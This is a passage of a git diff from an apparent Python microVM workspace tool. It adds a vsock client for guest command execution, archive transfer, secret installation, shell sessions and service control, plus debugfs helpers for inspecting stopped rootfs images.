@ -344,6 +340,33 @@ class EnvironmentStore:
|
|||
installed=True,
|
||||
)
|
||||
|
||||
def _load_installed_environment(
|
||||
self, spec: VmEnvironment, *, install_dir: Path | None = None
|
||||
) -> InstalledEnvironment | None:
|
||||
resolved_install_dir = install_dir or self._install_dir(spec)
|
||||
metadata_path = resolved_install_dir / "environment.json"
|
||||
if not metadata_path.is_file() or not _artifacts_ready(resolved_install_dir):
|
||||
return None
|
||||
try:
|
||||
metadata = json.loads(metadata_path.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
return None
|
||||
if not isinstance(metadata, dict):
|
||||
return None
|
||||
source = str(metadata.get("source", "cache"))
|
||||
raw_digest = metadata.get("source_digest")
|
||||
digest = raw_digest if isinstance(raw_digest, str) else None
|
||||
return InstalledEnvironment(
|
||||
name=spec.name,
|
||||
version=spec.version,
|
||||
install_dir=resolved_install_dir,
|
||||
kernel_image=resolved_install_dir / "vmlinux",
|
||||
rootfs_image=resolved_install_dir / "rootfs.ext4",
|
||||
source=source,
|
||||
source_digest=digest,
|
||||
installed=True,
|
||||
)
|
||||
|
||||
def _install_from_archive(self, spec: VmEnvironment, archive_url: str) -> InstalledEnvironment:
|
||||
install_dir = self._install_dir(spec)
|
||||
temp_dir = Path(tempfile.mkdtemp(prefix=".partial-", dir=self._platform_dir))
|
||||
|
|
|
|||
|
|
@ -2,9 +2,11 @@
|
|||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import json
|
||||
import socket
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any, Callable, Protocol
|
||||
|
||||
|
||||
|
|
@ -31,6 +33,48 @@ class GuestExecResponse:
|
|||
duration_ms: int
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class GuestArchiveResponse:
|
||||
destination: str
|
||||
entry_count: int
|
||||
bytes_written: int
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class GuestArchiveExportResponse:
|
||||
workspace_path: str
|
||||
artifact_type: str
|
||||
entry_count: int
|
||||
bytes_written: int
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class GuestWorkspaceFileReadResponse:
|
||||
path: str
|
||||
size_bytes: int
|
||||
content_bytes: bytes
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class GuestShellSummary:
|
||||
shell_id: str
|
||||
cwd: str
|
||||
cols: int
|
||||
rows: int
|
||||
state: str
|
||||
started_at: float
|
||||
ended_at: float | None
|
||||
exit_code: int | None
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class GuestShellReadResponse(GuestShellSummary):
|
||||
cursor: int
|
||||
next_cursor: int
|
||||
output: str
|
||||
truncated: bool
|
||||
|
||||
|
||||
class VsockExecClient:
|
||||
"""Minimal JSON-over-stream client for a guest exec agent."""
|
||||
|
||||
|
|
@ -44,12 +88,533 @@ class VsockExecClient:
|
|||
command: str,
|
||||
timeout_seconds: int,
|
||||
*,
|
||||
env: dict[str, str] | None = None,
|
||||
uds_path: str | None = None,
|
||||
) -> GuestExecResponse:
|
||||
payload = self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"command": command,
|
||||
"timeout_seconds": timeout_seconds,
|
||||
"env": env,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest exec response must be a JSON object",
|
||||
)
|
||||
return GuestExecResponse(
|
||||
stdout=str(payload.get("stdout", "")),
|
||||
stderr=str(payload.get("stderr", "")),
|
||||
exit_code=int(payload.get("exit_code", -1)),
|
||||
duration_ms=int(payload.get("duration_ms", 0)),
|
||||
)
|
||||
|
||||
def upload_archive(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
archive_path: Path,
|
||||
*,
|
||||
destination: str,
|
||||
timeout_seconds: int = 60,
|
||||
uds_path: str | None = None,
|
||||
) -> GuestArchiveResponse:
|
||||
request = {
|
||||
"command": command,
|
||||
"timeout_seconds": timeout_seconds,
|
||||
"action": "extract_archive",
|
||||
"destination": destination,
|
||||
"archive_size": archive_path.stat().st_size,
|
||||
}
|
||||
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||
try:
|
||||
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||
with archive_path.open("rb") as handle:
|
||||
for chunk in iter(lambda: handle.read(65536), b""):
|
||||
sock.sendall(chunk)
|
||||
payload = self._recv_json_payload(sock)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
if not isinstance(payload, dict):
|
||||
raise RuntimeError("guest archive response must be a JSON object")
|
||||
error = payload.get("error")
|
||||
if error is not None:
|
||||
raise RuntimeError(str(error))
|
||||
return GuestArchiveResponse(
|
||||
destination=str(payload.get("destination", destination)),
|
||||
entry_count=int(payload.get("entry_count", 0)),
|
||||
bytes_written=int(payload.get("bytes_written", 0)),
|
||||
)
|
||||
|
||||
def install_secrets(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
archive_path: Path,
|
||||
*,
|
||||
timeout_seconds: int = 60,
|
||||
uds_path: str | None = None,
|
||||
) -> GuestArchiveResponse:
|
||||
request = {
|
||||
"action": "install_secrets",
|
||||
"archive_size": archive_path.stat().st_size,
|
||||
}
|
||||
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||
try:
|
||||
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||
with archive_path.open("rb") as handle:
|
||||
for chunk in iter(lambda: handle.read(65536), b""):
|
||||
sock.sendall(chunk)
|
||||
payload = self._recv_json_payload(sock)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
if not isinstance(payload, dict):
|
||||
raise RuntimeError("guest secret install response must be a JSON object")
|
||||
error = payload.get("error")
|
||||
if error is not None:
|
||||
raise RuntimeError(str(error))
|
||||
return GuestArchiveResponse(
|
||||
destination=str(payload.get("destination", "/run/pyro-secrets")),
|
||||
entry_count=int(payload.get("entry_count", 0)),
|
||||
bytes_written=int(payload.get("bytes_written", 0)),
|
||||
)
|
||||
|
||||
def export_archive(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
workspace_path: str,
|
||||
archive_path: Path,
|
||||
timeout_seconds: int = 60,
|
||||
uds_path: str | None = None,
|
||||
) -> GuestArchiveExportResponse:
|
||||
request = {
|
||||
"action": "export_archive",
|
||||
"path": workspace_path,
|
||||
}
|
||||
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||
try:
|
||||
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||
header = self._recv_line(sock)
|
||||
if header.strip() == "":
|
||||
raise RuntimeError("guest export response header is empty")
|
||||
payload = json.loads(header)
|
||||
if not isinstance(payload, dict):
|
||||
raise RuntimeError("guest export response header must be a JSON object")
|
||||
error = payload.get("error")
|
||||
if error is not None:
|
||||
raise RuntimeError(str(error))
|
||||
archive_size = int(payload.get("archive_size", 0))
|
||||
if archive_size < 0:
|
||||
raise RuntimeError("guest export archive_size must not be negative")
|
||||
with archive_path.open("wb") as handle:
|
||||
remaining = archive_size
|
||||
while remaining > 0:
|
||||
chunk = sock.recv(min(65536, remaining))
|
||||
if chunk == b"":
|
||||
raise RuntimeError("unexpected EOF while receiving export archive")
|
||||
handle.write(chunk)
|
||||
remaining -= len(chunk)
|
||||
finally:
|
||||
sock.close()
|
||||
return GuestArchiveExportResponse(
|
||||
workspace_path=str(payload.get("workspace_path", workspace_path)),
|
||||
artifact_type=str(payload.get("artifact_type", "file")),
|
||||
entry_count=int(payload.get("entry_count", 0)),
|
||||
bytes_written=int(payload.get("bytes_written", 0)),
|
||||
)
|
||||
|
||||
def list_workspace_entries(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
workspace_path: str,
|
||||
recursive: bool,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
return self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "list_workspace",
|
||||
"path": workspace_path,
|
||||
"recursive": recursive,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest workspace file list response must be a JSON object",
|
||||
)
|
||||
|
||||
def read_workspace_file(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
workspace_path: str,
|
||||
max_bytes: int,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
payload = self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "read_workspace_file",
|
||||
"path": workspace_path,
|
||||
"max_bytes": max_bytes,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest workspace file read response must be a JSON object",
|
||||
)
|
||||
raw_content = payload.get("content_b64", "")
|
||||
if not isinstance(raw_content, str):
|
||||
raise RuntimeError("guest workspace file read response is missing content_b64")
|
||||
payload["content_bytes"] = base64.b64decode(raw_content.encode("ascii"), validate=True)
|
||||
payload.pop("content_b64", None)
|
||||
return payload
|
||||
|
||||
def write_workspace_file(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
workspace_path: str,
|
||||
text: str,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
return self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "write_workspace_file",
|
||||
"path": workspace_path,
|
||||
"text": text,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest workspace file write response must be a JSON object",
|
||||
)
|
||||
|
||||
def delete_workspace_path(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
workspace_path: str,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
return self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "delete_workspace_path",
|
||||
"path": workspace_path,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest workspace path delete response must be a JSON object",
|
||||
)
|
||||
|
||||
def open_shell(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
shell_id: str,
|
||||
cwd: str,
|
||||
cols: int,
|
||||
rows: int,
|
||||
env: dict[str, str] | None = None,
|
||||
redact_values: list[str] | None = None,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> GuestShellSummary:
|
||||
payload = self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "open_shell",
|
||||
"shell_id": shell_id,
|
||||
"cwd": cwd,
|
||||
"cols": cols,
|
||||
"rows": rows,
|
||||
"env": env,
|
||||
"redact_values": redact_values,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest shell open response must be a JSON object",
|
||||
)
|
||||
return self._shell_summary_from_payload(payload)
|
||||
|
||||
def read_shell(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
shell_id: str,
|
||||
cursor: int,
|
||||
max_chars: int,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> GuestShellReadResponse:
|
||||
payload = self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "read_shell",
|
||||
"shell_id": shell_id,
|
||||
"cursor": cursor,
|
||||
"max_chars": max_chars,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest shell read response must be a JSON object",
|
||||
)
|
||||
summary = self._shell_summary_from_payload(payload)
|
||||
return GuestShellReadResponse(
|
||||
shell_id=summary.shell_id,
|
||||
cwd=summary.cwd,
|
||||
cols=summary.cols,
|
||||
rows=summary.rows,
|
||||
state=summary.state,
|
||||
started_at=summary.started_at,
|
||||
ended_at=summary.ended_at,
|
||||
exit_code=summary.exit_code,
|
||||
cursor=int(payload.get("cursor", cursor)),
|
||||
next_cursor=int(payload.get("next_cursor", cursor)),
|
||||
output=str(payload.get("output", "")),
|
||||
truncated=bool(payload.get("truncated", False)),
|
||||
)
|
||||
|
||||
def write_shell(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
shell_id: str,
|
||||
input_text: str,
|
||||
append_newline: bool,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
payload = self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "write_shell",
|
||||
"shell_id": shell_id,
|
||||
"input": input_text,
|
||||
"append_newline": append_newline,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest shell write response must be a JSON object",
|
||||
)
|
||||
self._shell_summary_from_payload(payload)
|
||||
return payload
|
||||
|
||||
def signal_shell(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
shell_id: str,
|
||||
signal_name: str,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
payload = self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "signal_shell",
|
||||
"shell_id": shell_id,
|
||||
"signal": signal_name,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest shell signal response must be a JSON object",
|
||||
)
|
||||
self._shell_summary_from_payload(payload)
|
||||
return payload
|
||||
|
||||
def close_shell(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
shell_id: str,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
payload = self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "close_shell",
|
||||
"shell_id": shell_id,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest shell close response must be a JSON object",
|
||||
)
|
||||
self._shell_summary_from_payload(payload)
|
||||
return payload
|
||||
|
||||
def start_service(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
service_name: str,
|
||||
command: str,
|
||||
cwd: str,
|
||||
readiness: dict[str, Any] | None,
|
||||
ready_timeout_seconds: int,
|
||||
ready_interval_ms: int,
|
||||
env: dict[str, str] | None = None,
|
||||
timeout_seconds: int = 60,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
return self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "start_service",
|
||||
"service_name": service_name,
|
||||
"command": command,
|
||||
"cwd": cwd,
|
||||
"readiness": readiness,
|
||||
"ready_timeout_seconds": ready_timeout_seconds,
|
||||
"ready_interval_ms": ready_interval_ms,
|
||||
"env": env,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest service start response must be a JSON object",
|
||||
)
|
||||
|
||||
def status_service(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
service_name: str,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
return self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "status_service",
|
||||
"service_name": service_name,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest service status response must be a JSON object",
|
||||
)
|
||||
|
||||
def logs_service(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
service_name: str,
|
||||
tail_lines: int | None,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
return self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "logs_service",
|
||||
"service_name": service_name,
|
||||
"tail_lines": tail_lines,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest service logs response must be a JSON object",
|
||||
)
|
||||
|
||||
def stop_service(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
*,
|
||||
service_name: str,
|
||||
timeout_seconds: int = 30,
|
||||
uds_path: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
return self._request_json(
|
||||
guest_cid,
|
||||
port,
|
||||
{
|
||||
"action": "stop_service",
|
||||
"service_name": service_name,
|
||||
},
|
||||
timeout_seconds=timeout_seconds,
|
||||
uds_path=uds_path,
|
||||
error_message="guest service stop response must be a JSON object",
|
||||
)
|
||||
|
||||
def _request_json(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
request: dict[str, Any],
|
||||
*,
|
||||
timeout_seconds: int,
|
||||
uds_path: str | None,
|
||||
error_message: str,
|
||||
) -> dict[str, Any]:
|
||||
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||
try:
|
||||
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||
payload = self._recv_json_payload(sock)
|
||||
finally:
|
||||
sock.close()
|
||||
if not isinstance(payload, dict):
|
||||
raise RuntimeError(error_message)
|
||||
error = payload.get("error")
|
||||
if error is not None:
|
||||
raise RuntimeError(str(error))
|
||||
return payload
|
||||
|
||||
@staticmethod
|
||||
def _shell_summary_from_payload(payload: dict[str, Any]) -> GuestShellSummary:
|
||||
return GuestShellSummary(
|
||||
shell_id=str(payload.get("shell_id", "")),
|
||||
cwd=str(payload.get("cwd", "/workspace")),
|
||||
cols=int(payload.get("cols", 0)),
|
||||
rows=int(payload.get("rows", 0)),
|
||||
state=str(payload.get("state", "stopped")),
|
||||
started_at=float(payload.get("started_at", 0.0)),
|
||||
ended_at=(
|
||||
None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0))
|
||||
),
|
||||
exit_code=(
|
||||
None if payload.get("exit_code") is None else int(payload.get("exit_code", 0))
|
||||
),
|
||||
)
|
||||
|
||||
def _connect(
|
||||
self,
|
||||
guest_cid: int,
|
||||
port: int,
|
||||
timeout_seconds: int,
|
||||
*,
|
||||
uds_path: str | None,
|
||||
) -> SocketLike:
|
||||
family = getattr(socket, "AF_VSOCK", None)
|
||||
if family is not None:
|
||||
sock = self._socket_factory(family, socket.SOCK_STREAM)
|
||||
|
|
@ -59,33 +624,15 @@ class VsockExecClient:
|
|||
connect_address = uds_path
|
||||
else:
|
||||
raise RuntimeError("vsock sockets are not supported on this host Python runtime")
|
||||
try:
|
||||
sock.settimeout(timeout_seconds)
|
||||
sock.connect(connect_address)
|
||||
if family is None:
|
||||
sock.sendall(f"CONNECT {port}\n".encode("utf-8"))
|
||||
status = self._recv_line(sock)
|
||||
if not status.startswith("OK "):
|
||||
raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}")
|
||||
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||
chunks: list[bytes] = []
|
||||
while True:
|
||||
data = sock.recv(65536)
|
||||
if data == b"":
|
||||
break
|
||||
chunks.append(data)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
payload = json.loads(b"".join(chunks).decode("utf-8"))
|
||||
if not isinstance(payload, dict):
|
||||
raise RuntimeError("guest exec response must be a JSON object")
|
||||
return GuestExecResponse(
|
||||
stdout=str(payload.get("stdout", "")),
|
||||
stderr=str(payload.get("stderr", "")),
|
||||
exit_code=int(payload.get("exit_code", -1)),
|
||||
duration_ms=int(payload.get("duration_ms", 0)),
|
||||
)
|
||||
sock.settimeout(timeout_seconds)
|
||||
sock.connect(connect_address)
|
||||
if family is None:
|
||||
sock.sendall(f"CONNECT {port}\n".encode("utf-8"))
|
||||
status = self._recv_line(sock)
|
||||
if not status.startswith("OK "):
|
||||
sock.close()
|
||||
raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}")
|
||||
return sock
|
||||
|
||||
@staticmethod
|
||||
def _recv_line(sock: SocketLike) -> str:
|
||||
|
|
@ -98,3 +645,13 @@ class VsockExecClient:
|
|||
if data == b"\n":
|
||||
break
|
||||
return b"".join(chunks).decode("utf-8", errors="replace")
|
||||
|
||||
@staticmethod
|
||||
def _recv_json_payload(sock: SocketLike) -> Any:
|
||||
chunks: list[bytes] = []
|
||||
while True:
|
||||
data = sock.recv(65536)
|
||||
if data == b"":
|
||||
break
|
||||
chunks.append(data)
|
||||
return json.loads(b"".join(chunks).decode("utf-8"))
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
264
src/pyro_mcp/workspace_disk.py
Normal file
264
src/pyro_mcp/workspace_disk.py
Normal file
|
|
@ -0,0 +1,264 @@
|
|||
"""Stopped-workspace disk export and offline inspection helpers."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path, PurePosixPath
|
||||
from typing import Literal
|
||||
|
||||
WorkspaceDiskArtifactType = Literal["file", "directory", "symlink"]
|
||||
|
||||
WORKSPACE_DISK_RUNTIME_ONLY_PATHS = (
|
||||
"/run/pyro-secrets",
|
||||
"/run/pyro-shells",
|
||||
"/run/pyro-services",
|
||||
)
|
||||
|
||||
_DEBUGFS_LS_RE = re.compile(
|
||||
r"^/(?P<inode>\d+)/(?P<mode>\d+)/(?P<uid>\d+)/(?P<gid>\d+)/(?P<name>.*)/(?P<size>\d*)/$"
|
||||
)
|
||||
_DEBUGFS_SIZE_RE = re.compile(r"Size:\s+(?P<size>\d+)")
|
||||
_DEBUGFS_TYPE_RE = re.compile(r"Type:\s+(?P<type>\w+)")
|
||||
_DEBUGFS_LINK_RE = re.compile(r'Fast link dest:\s+"(?P<target>.*)"')
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspaceDiskEntry:
|
||||
"""One inspectable path from a stopped workspace rootfs image."""
|
||||
|
||||
path: str
|
||||
artifact_type: WorkspaceDiskArtifactType
|
||||
size_bytes: int
|
||||
link_target: str | None = None
|
||||
|
||||
def to_payload(self) -> dict[str, str | int | None]:
|
||||
return {
|
||||
"path": self.path,
|
||||
"artifact_type": self.artifact_type,
|
||||
"size_bytes": self.size_bytes,
|
||||
"link_target": self.link_target,
|
||||
}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class _DebugfsStat:
|
||||
path: str
|
||||
artifact_type: WorkspaceDiskArtifactType
|
||||
size_bytes: int
|
||||
link_target: str | None = None
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class _DebugfsDirEntry:
|
||||
name: str
|
||||
path: str
|
||||
artifact_type: WorkspaceDiskArtifactType | None
|
||||
size_bytes: int
|
||||
|
||||
|
||||
def export_workspace_disk_image(rootfs_image: Path, *, output_path: Path) -> dict[str, str | int]:
|
||||
"""Copy one stopped workspace rootfs image to the requested host path."""
|
||||
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
if output_path.exists() or output_path.is_symlink():
|
||||
raise RuntimeError(f"output_path already exists: {output_path}")
|
||||
shutil.copy2(rootfs_image, output_path)
|
||||
return {
|
||||
"output_path": str(output_path),
|
||||
"disk_format": "ext4",
|
||||
"bytes_written": output_path.stat().st_size,
|
||||
}
|
||||
|
||||
|
||||
def list_workspace_disk(
|
||||
rootfs_image: Path,
|
||||
*,
|
||||
guest_path: str,
|
||||
recursive: bool,
|
||||
) -> list[dict[str, str | int | None]]:
|
||||
"""Return inspectable entries from one stopped workspace rootfs path."""
|
||||
target = _debugfs_stat(rootfs_image, guest_path)
|
||||
if target is None:
|
||||
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
|
||||
if target.artifact_type != "directory":
|
||||
return [WorkspaceDiskEntry(**target.__dict__).to_payload()]
|
||||
entries: list[WorkspaceDiskEntry] = []
|
||||
|
||||
def walk(current_path: str) -> None:
|
||||
children = _debugfs_ls_entries(rootfs_image, current_path)
|
||||
for child in children:
|
||||
if child.artifact_type is None:
|
||||
continue
|
||||
link_target = None
|
||||
if child.artifact_type == "symlink":
|
||||
child_stat = _debugfs_stat(rootfs_image, child.path)
|
||||
link_target = None if child_stat is None else child_stat.link_target
|
||||
entries.append(
|
||||
WorkspaceDiskEntry(
|
||||
path=child.path,
|
||||
artifact_type=child.artifact_type,
|
||||
size_bytes=child.size_bytes,
|
||||
link_target=link_target,
|
||||
)
|
||||
)
|
||||
if recursive and child.artifact_type == "directory":
|
||||
walk(child.path)
|
||||
|
||||
walk(guest_path)
|
||||
entries.sort(key=lambda item: item.path)
|
||||
return [entry.to_payload() for entry in entries]
|
||||
|
||||
|
||||
def read_workspace_disk_file(
|
||||
rootfs_image: Path,
|
||||
*,
|
||||
guest_path: str,
|
||||
max_bytes: int,
|
||||
) -> dict[str, str | int | bool]:
|
||||
"""Read one regular file from a stopped workspace rootfs image."""
|
||||
target = _debugfs_stat(rootfs_image, guest_path)
|
||||
if target is None:
|
||||
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
|
||||
if target.artifact_type != "file":
|
||||
raise RuntimeError("workspace disk read only supports regular files")
|
||||
if max_bytes <= 0:
|
||||
raise ValueError("max_bytes must be positive")
|
||||
with tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-read-") as temp_dir:
|
||||
dumped_path = Path(temp_dir) / "workspace-disk-read.bin"
|
||||
_run_debugfs(rootfs_image, f"dump {guest_path} {dumped_path}")
|
||||
if not dumped_path.exists():
|
||||
raise RuntimeError(f"failed to dump workspace disk file: {guest_path}")
|
||||
raw_bytes = dumped_path.read_bytes()
|
||||
return {
|
||||
"path": guest_path,
|
||||
"size_bytes": len(raw_bytes),
|
||||
"max_bytes": max_bytes,
|
||||
"content": raw_bytes[:max_bytes].decode("utf-8", errors="replace"),
|
||||
"truncated": len(raw_bytes) > max_bytes,
|
||||
}
|
||||
|
||||
|
||||
def scrub_workspace_runtime_paths(rootfs_image: Path) -> None:
|
||||
"""Remove runtime-only guest paths from a stopped workspace rootfs image."""
|
||||
for guest_path in WORKSPACE_DISK_RUNTIME_ONLY_PATHS:
|
||||
_debugfs_remove_tree(rootfs_image, guest_path)
|
||||
|
||||
|
||||
def _run_debugfs(rootfs_image: Path, command: str, *, writable: bool = False) -> str:
|
||||
debugfs_path = shutil.which("debugfs")
|
||||
if debugfs_path is None:
|
||||
raise RuntimeError("debugfs is required for workspace disk operations")
|
||||
debugfs_command = [debugfs_path]
|
||||
if writable:
|
||||
debugfs_command.append("-w")
|
||||
proc = subprocess.run( # noqa: S603
|
||||
[*debugfs_command, "-R", command, str(rootfs_image)],
|
||||
text=True,
|
||||
capture_output=True,
|
||||
check=False,
|
||||
)
|
||||
combined = proc.stdout
|
||||
if proc.stderr != "":
|
||||
combined = combined + ("\n" if combined != "" else "") + proc.stderr
|
||||
output = _strip_debugfs_banner(combined)
|
||||
if proc.returncode != 0:
|
||||
message = output.strip()
|
||||
if message == "":
|
||||
message = f"debugfs command failed: {command}"
|
||||
raise RuntimeError(message)
|
||||
return output.strip()
|
||||
|
||||
|
||||
def _strip_debugfs_banner(output: str) -> str:
|
||||
lines = output.splitlines()
|
||||
while lines and lines[0].startswith("debugfs "):
|
||||
lines.pop(0)
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def _debugfs_missing(output: str) -> bool:
|
||||
return "File not found by ext2_lookup" in output or "File not found by ext2fs_lookup" in output
|
||||
|
||||
|
||||
def _artifact_type_from_mode(mode: str) -> WorkspaceDiskArtifactType | None:
|
||||
if mode.startswith("04"):
|
||||
return "directory"
|
||||
if mode.startswith("10"):
|
||||
return "file"
|
||||
if mode.startswith("12"):
|
||||
return "symlink"
|
||||
return None
|
||||
|
||||
|
||||
def _debugfs_stat(rootfs_image: Path, guest_path: str) -> _DebugfsStat | None:
|
||||
output = _run_debugfs(rootfs_image, f"stat {guest_path}")
|
||||
if _debugfs_missing(output):
|
||||
return None
|
||||
type_match = _DEBUGFS_TYPE_RE.search(output)
|
||||
size_match = _DEBUGFS_SIZE_RE.search(output)
|
||||
if type_match is None or size_match is None:
|
||||
raise RuntimeError(f"failed to inspect workspace disk path: {guest_path}")
|
||||
raw_type = type_match.group("type")
|
||||
artifact_type: WorkspaceDiskArtifactType
|
||||
if raw_type == "directory":
|
||||
artifact_type = "directory"
|
||||
elif raw_type == "regular":
|
||||
artifact_type = "file"
|
||||
elif raw_type == "symlink":
|
||||
artifact_type = "symlink"
|
||||
else:
|
||||
raise RuntimeError(f"unsupported workspace disk path type: {guest_path}")
|
||||
link_target = None
|
||||
if artifact_type == "symlink":
|
||||
link_match = _DEBUGFS_LINK_RE.search(output)
|
||||
if link_match is not None:
|
||||
link_target = link_match.group("target")
|
||||
return _DebugfsStat(
|
||||
path=guest_path,
|
||||
artifact_type=artifact_type,
|
||||
size_bytes=int(size_match.group("size")),
|
||||
link_target=link_target,
|
||||
)
|
||||
|
||||
|
||||
def _debugfs_ls_entries(rootfs_image: Path, guest_path: str) -> list[_DebugfsDirEntry]:
|
||||
output = _run_debugfs(rootfs_image, f"ls -p {guest_path}")
|
||||
if _debugfs_missing(output):
|
||||
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
|
||||
entries: list[_DebugfsDirEntry] = []
|
||||
base = PurePosixPath(guest_path)
|
||||
